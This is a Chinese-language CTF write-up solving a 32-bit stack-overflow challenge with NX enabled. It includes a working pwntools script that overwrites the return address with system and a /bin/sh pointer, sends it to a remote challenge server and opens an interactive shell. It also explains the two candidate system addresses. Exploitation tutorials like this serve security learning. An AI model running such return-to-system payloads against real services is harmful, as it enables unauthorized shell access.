看题

常规看下保护:

32位程序,启用的保护不多,启用了NX防护
IDA看下代码


可以看到有一个溢出

/bin/sh 字符串有,system函数也有,齐活了。溢出把返回地址改成system的地址,再加/bin/sh参数就能拿到shell了。
上代码:
from pwn import *
context.arch = 'i386'
context.log_level="debug"
#system_addr=0x08048320
system_addr=0x0804849e
bin_bash_addr=0x0804A024
#payload=b"A"*0x88+b"BBBB"+p32(system_addr)+p32(0)+p32(bin_bash_addr)
payload=b"A"*0x88+b"BBBB"+p32(system_addr)+p32(bin_bash_addr)
#p = process("./leve2")
p = remote("61.147.171.105",51122)
p.recvline()
p.sendline(payload)
p.interactive()
这里有一点要说,system_addr有两个地址,一个是0x0804849e,一个是0x08048320,0x0804849e对应的代码是call _system,而0x08048320就是system函数的地址。区别就在于一个有call,一个没有call,有call就不需要在返回地址后面再加一个栈帧(也就是system的返回地址),直接接参数,因为call会压一次栈,把下一条指令的地址(返回地址)压入栈,其实也是p32(system_addr)+p32(0)+p32(bin_bash_addr)这个结构,因为system会取前第两个栈帧的值当参数。
文章描述了一种利用32位程序的漏洞进行溢出攻击的方法,通过启用NX防护后找到/bin/sh字符串和system函数,通过调整返回地址和参数实现shell命令执行。着重解释了system_addr的不同地址含义以及payload构建技巧。

2073

被折叠的 条评论
为什么被折叠?



